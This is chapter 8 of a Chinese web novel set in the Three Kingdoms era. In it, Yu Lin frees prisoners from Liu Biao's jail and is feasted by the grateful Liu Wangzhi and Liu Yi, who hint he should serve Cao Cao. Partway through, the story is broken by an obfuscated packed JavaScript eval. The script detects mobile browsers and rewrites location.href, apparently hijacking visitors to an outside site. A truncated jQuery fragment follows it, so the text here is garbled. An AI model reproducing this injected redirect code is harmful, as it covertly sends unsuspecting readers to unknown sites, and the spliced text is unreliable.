8. 第 8 章
作品:《混在三国当武将》 初来乍到,虞临并不热衷于惹事上身,尤其还是在情况不明的情况下。
但也从不怕惹祸。
他不太懂什么人情世故,但说到如何制造事故,还是挺精通的。
听完崔钧与仆从的对话,再观其神色纠结,他便觉得自己报答三位新友善意的机会来了。
不论三人燕居不出的缘由,究竟是真怀箕山之志,还是美玉待价而沽,只要短期内未有起家之心,都不适合与于荆州势大的刘表起正面冲突。
倒是无牵无挂,尚为无名氏,武力方面又刚巧尚可的他很合适。
“什么?”
崔钧当然是不同意的。
确切地说,在听到虞临云淡风轻下提出的荒唐提议后,他错愕之余,只觉感动:“子至莫要说笑,你——”
话刚启头,他只见虞临神色淡淡地向自己迈了一步,旋即颈后刚有一丝疼痛感袭来,眼前就彻底黑了下去。
虞临将瘫软下来的崔钧扶住,很自然地推给了一旁呆若木鸡的仆从,一本正经地交代道:“记得将你家郎君的衣物弄得脏乱些。”
他早料到,以崔钧的磊落为人决计不会同意。
况且刚刚一路行来,人多眼杂,见到他与崔钧同行的人已有不少。既要想办法将他摘出去,又要免得他跟自己推辞来推辞去的引人注目,还浪费时间。
还好目前并无人知道他与诸葛亮、徐庶的交情。
等刘表事后追查他的身份,得知崔钧亦被他蒙骗且所伤这点,应能让这位之前并未惹恼过荆州牧的名门子弟安然无恙。
说完,他便大步流星地走了出去。
看着上一刻还相谈甚欢、下一刻就毫不犹豫地出手击晕自家郎君的虞临,两名随从早已瞠目结舌。
小心翼翼地搀着昏倒的崔钧的那人不好动弹,另一人下意识地追出几步,就被那道冷淡的回眸给摄住,不敢再迈步了:“虞君,这是何意!”
只是一眨眼功夫,他就已经见不到对方的身影了。
————
“……虞君,可乎?”
刘望之重复征询的声音,终于唤回了虞临的心神。
他微微一怔。
或许是暖风送酒香、暖烛醉人,又或许是日夜兼程的疲惫,即使自己对酒精抗性极高,刚才居然难得地神游天外了一下。
刘望之眼巴巴的,又问了一遍:“虞君?”
“可。”
虞临并没有听到刘望之刚才问了什么,考虑到对方不可能对自己提出无理要求,索性顺势应了。
便见对方欢喜地唤了自己一声“子至”,紧接着召来仆役,仔细交代今夜正式设宴的事。
虞临于是后知后觉,对方原来刚刚是询问自己可否以表字相称。
刘望之现在能好端端地坐在这里,那日他代崔钧出面的结果就已显而易见:由于他同对方素未谋面,凭一柄剑孤身杀到府牢中后,为防疏漏,也是出于扰乱追查者视听的目的,干脆将里面关押的那十几名犯人全都放了。
他倒不是故意扰乱社会秩序。
真正作奸犯科的早叫都尉或县尉拿下了,能有资格关押在这幕府重狱、体态上又偏于柔弱的,大多是因政见不和才遭到迫害。
刘望之能顺利举家逃出,足见他那在外替他没少奔波求情的弟弟刘廙早做好了各方各面的准备,并怀有为保住哥哥性命、暂时放弃荆州一切经营的决心。
手足如此情深,可见家风不错。
虞临只有点遗憾,自己打破了一贯“无论如何要亲眼见上对方一面再否决”的原则,始终未能同刘表正式打上照面。
更让他惋惜的,是那富饶荆襄。
不过按照刘表如今的架势,久安也是奢望罢了。
虞临在心里精明地计算了一下。
能让崔钧等人为刘望之的安危奔走,可见交情颇为深厚,那他帮刘望之脱困,应该能抵掉帮着修葺名刺所欠下的人情了。
至于孔明的……
无论是被他无意中损坏的那套弹棋,还是供他吃住了一个多月,又无偿提供大量书籍查看的恩情,暂时只能继续欠着了。
刘望之手舞足蹈地反复描述当日情景,表达自己的感激涕零,虞临就光明正大地走着神。
“我为州平亲故。观州平为望之之事心急如焚,不惜以身犯险,我自不可坐视不理。当日主要是为州平解烦,望之着实不必多谢。”虞临已经不记得自己是第一次这么解释了:“况望之得以脱困,实是贤弟救援及时,我实在不敢居功。”
只是每当他指出这点,都被刘望之那神奇的思路翻译成了另外的内容。
他感佩为心存谦柔,弘毅而不居功,雅量高致,砥砺清节……总而言之,虽古之英士,何以远逾哉!
回数一多,被美言彻底淹没至词穷的虞临也有些麻木了。
……罢了。
虞临配合地举樽小饮,表示请对方随意。
刘望之浑然不差虞临方才走神,高兴地解释道:“舍弟廙,有幸得府君看重,得辟为从事,方未能及时相迎。我已遣仆去信衙署!待日暮鼓鸣,恭嗣散衙归家,必喜见子至。”
实际上,南阳刘氏子的才名与家族声望具都在外,对平民如隔天堑的州府从事职务,不过是他们仕途的起点罢了。
同时受到征辟的,其实还有刘望之。
只是他心中仍对任刘表从事而惹上杀身之祸一事惊魂未定,唯恐再度身陷崄巇之中,自不肯应。
真要他说,他反而诧异于弟弟会爽快应承,投身此时并不被诸人青睐的曹营。
在等刘廙归家、宴席开始前的整两个时辰,不知刘望之是本身能言善道,还是对救命恩人谈兴正浓,又或是单纯出自礼仪、担心虞临感觉受到冷落,亦或皆有之——即使虞临始终鲜言寡语,他也滔滔不绝。
待刘廙归家时,看到的就是自家哥哥激动地围着救命恩人说个不停的画面。
他落在虞临脸上的视线稍凝,再看着与平日里的傲气截然不同的兄长,不禁有些无奈。
罢了,也不好苛责兄长失仪。
他昔日忙于四处奔波,绝望地为恐要难逃死劫的兄长运作,也因此未能亲眼目睹这位虞君仅凭一人一剑于幕府闲庭漫步,义然释囚,当即震悚荆州的巍然壮举。
兄长却是亲身获释,于对方那三尺雪锋下自死由生的。
自那日起,他听得最多的便是兄长的叹息和狂热推崇。
既叹对方那惊才绝艳的剑光,叹那胆略兼人的侠气,叹那濯鳞清流的从容,再叹那飞翼天衢的闲雅。
“此君……真神人也!”
这是刘望之逃出生天后,对欣喜若狂的弟弟所说的第一句话。
哪怕是在混乱无序的出逃期间,他也不忘冒险派人打探恩人名姓。待稍稍得了消息,更是不顾希望渺茫,也在各地留下那日曾有幸见过虞君容貌的仆从等待。
不料上天赐福,还真让兄长盼到了这日。
刘廙的视线又不由自主地落到了虞临身上,心头微动,下意识地赶在对方注意到前移开。
——不过,如今的他再不怀疑那或许是兄长的美声溢誉、有过其实了。
“愚姓刘名廙,字恭嗣,今日终于得见虞君,实是毕生有幸。”他恭恭敬敬地向虞临行了极正式的一礼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489182|170016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虞临回礼,沉静眸光倒映着他的身影,嗓音仿佛不带任何温度,却听着极其悦耳:“虞临,字子至,恭嗣唤我子至即可。”
刘廙莫名感到头有点热,脚步好似有点漂浮。
礼貌地寒暄几句后,他赶紧在兄长身侧落了座,并不着痕迹地挡住了刘望之一些不住往外发散的话头。
虞临察觉到这点后,始终笔挺的背脊几不可查地松了松,无声地放慢了饮酒的速度。
……之前并非他贪杯,只是为了不失礼地避免开口。
只可惜他是宴会的最大主角,也是被兄弟二人连番感谢的对象,即便始终是不苟言笑的模样,也不可能完全挡下推杯换盏后的许多问题。
当然,虞临从来不是有问必答的性格,也没有兴趣自吹自擂,于是对刘望之那双眼熠熠地希望他再多说说襄阳城中当日情景的请求始终装没听见。
问得多了,他索性转而回答了刘廙对他“接下来有何打算”的关心。
“若有幸得允,愿先往屯田地一观。”他简单说道:“旋即,继续北向。”
北向的具体方位,他就不准备说了。
刘廙愣了愣。
虽不知晓虞临为何对屯田处感兴趣,他还是不假思索地在兄长的目光催促下一口应承下来:“若蒙子至不嫌,不妨先于寒舍留宿,将此事交予廙便是。最迟明日日中,必叫子至如愿。”
常苦军食不足的曹军无疑极重屯田,为此专设有各级田官,最高为典农中郎将,秩二千石,与郡太守同级;次一级则为典农校尉,比二千石,同县令同级。
重点在于,屯田事务专受田官管辖,并不属郡,因而不受郡县官署辖制、不时出现典农官与同级郡县令发生争辩的情景。
刘廙被广陵太守陈登辟为从事,职权自是未能涉及屯田事务,更遑论此时正是袁曹两军恶战的机要关头,更不可能容毫无干系的外人进入军事重地。
刘廙却依旧语气轻松地应下了。
——于衣冠士族而言,办成这事不算轻松,也绝称不上困难。
虞临对此也不意外,举樽道:“多谢恭嗣。”
他从无挟恩图报之心,但遇到对方硬要报答、为他行个方便的话,他也不会拒绝。
“举手之劳,当不得子至相谢。”刘廙的酒量自然不能与拥有强大抗毒性的虞临相比,觥筹交错间,虞临连脸色都不曾有过丝毫改变,他的目光则已经有些涣散了:“只是……”
他踌躇片刻,还是在酒劲催动下,直接问了出来:“还望子至莫怪廙亲狎。不知子至,可有于曹营仕官之意?”
刘望之亦是眸光微动。
虞临话极少,却清楚地透露出了“君贵审才,臣尚量主”的意向。
在察觉到虞临并非怀长沮之志、一昧抱珍自守,而是有着名臣择主而事的起家之心后,刘氏兄弟的心思便活络了起来。
他们绝非有意以此微小帮惠了解这份恩情,恰恰相反,是想设法将这份单方面的救命之恩顺势加深一步。
无论是会稽或陈国虞氏,已数十年未出官至高位之英杰,虽仍为名门,却不被视为著姓。
当然,以虞临之神采气貌,任何人都绝不至于等闲视之——只是闻名到底先于闻面,不可否认的是,虞氏子不以名声素著,若仅是寻常递上名刺求仕,只怕要令潜龙卧于浅滩,同些庸碌的池中物空耗好些时光。
若能得郡从事刘廙的大力推举,再由同南阳刘氏亲善的士族中名士从旁恰到好处地予以佳评,甚至还可由他们派人为虞临造势扬名……结果便大为不同。
虞临却毫不犹豫地拒了这番暗示:“暂无此意。”